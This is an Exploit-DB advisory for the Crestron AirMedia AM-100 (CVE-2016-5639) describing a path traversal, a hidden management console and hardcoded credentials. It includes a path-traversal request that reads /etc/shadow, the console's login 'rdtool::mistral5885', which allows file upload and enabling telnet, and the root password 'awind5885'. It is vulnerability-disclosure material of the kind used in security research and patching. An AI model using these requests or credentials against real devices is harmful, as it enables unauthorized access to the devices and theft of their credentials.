Crestron AM-100 - Multiple Vulnerabilities

EDB-ID:

40813


Platform:

Hardware

Published:

2016-11-22

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# Crestron AM-100 (Multiple Vulnerabilities)
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# Date: 2016-08-01
# Exploit Author: Zach Lanier
# Vendor Homepage: https://www.crestron.com/products/model/am-100
# Version: v1.1.1.11 - v1.2.1
# CVE: CVE-2016-5639 
# References: 
#   https://medium.com/@benichmt1/an-unwanted-wireless-guest-9433383b1673#.78tu9divi
#   https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md

Description:
The Crestron AirMedia AM-100 with firmware versions v1.1.1.11 - v1.2.1 is vulnerable to multiple issues.

1) Path Traversal

GET request: 
http://[AM-100-ADDRESS]/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../../etc/shadow

2) Hidden Management Console

http://[AM-100-ADDRESS]/cgi-bin/login_rdtool.cgi
The AM-100 has a hardcoded default credential of rdtool::mistral5885
This interface contains the ability to upload arbitrary files (RD upload) and can enable a telnet server that runs on port 5885 (RD Debug mode).

3) Hardcoded credentials

The default root password for these devices is root::awind5885
Valid login sessions for the default (non-debugging) management interface are stored on the filesystem as session01, session02.. etc. Cleartext credentials can be read directly from these files.